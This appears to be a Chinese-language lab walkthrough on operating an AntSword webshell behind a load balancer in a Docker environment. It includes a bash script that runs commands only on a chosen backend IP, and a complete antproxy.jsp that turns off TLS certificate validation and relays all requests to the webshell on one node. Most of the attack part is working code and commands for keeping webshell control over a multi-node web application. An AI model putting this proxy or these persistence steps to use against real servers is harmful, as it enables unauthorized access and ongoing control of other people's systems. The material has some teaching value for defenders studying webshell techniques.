搭建好docker环境,并且配置好docker-compose
我的Redhat的docker版本:
查看当前环境下的文件是否正确:
接着执行docker compose up -d 拉取环境
访问成功页面:
进入docker容器执行以下命令
docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"
可以发现存在webshell,查看里面内容如下:
然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常
一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。
我们可以发现,主机的ip一直在变
我先在这个目录下上传一个hack.txt文件,刷新
再次刷新,发现文件不见了,是因为文件被分开上传到不同的后端了,不停地刷新会发现文件时而存在时而不见。
连续进行上传操作,直到刷新到hack.txt文件一直存在为止。如果文件较大,则会导致上传的工具用不了。
1、我们既然无法预测下一次命令是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行不就行了?
因为本次环境由docker搭建的,在docker里面下载相应的工具
进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit
升级一下
apt-get update
安装一下
apt-get install net-tools
测试一下好不好用,因为只在一台装了,另一台用不了
两台都要装上
2、创建脚本判断要执行命令的ip是不是目标后端
vim demo.sh
MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; then
echo "allow exec your command"
id
else
echo "try again!!!"
fi
然后将次脚本复制到docker容器下的临时文件夹下,两台都要复制
docker cp demo.sh 8e558d690564:/tmp
此时执行脚本,匹配
这就解决了执行命令只会在一台特定后端
测试内网通信
curl http://172.19.0.3:8080 -X HEAD -v
在Web 层做一次 HTTP 流量转发实现后端不是目标的机器将流量转发给目标机
antproxy.jsp
注意更改这个字段 String target = "http://172.19.0.2:8080/ant.jsp";
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.20.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
使用蚁剑的新建文件功能,新建一个antproxy.jsp的文件上传,重复上传多次,确保所有后端都上传上去了。
将上面的代码复制到这个文件中并多次保存,确保每台后端都存在
然后更新名字antproxy.jsp
测试:可以看到ip不会改变了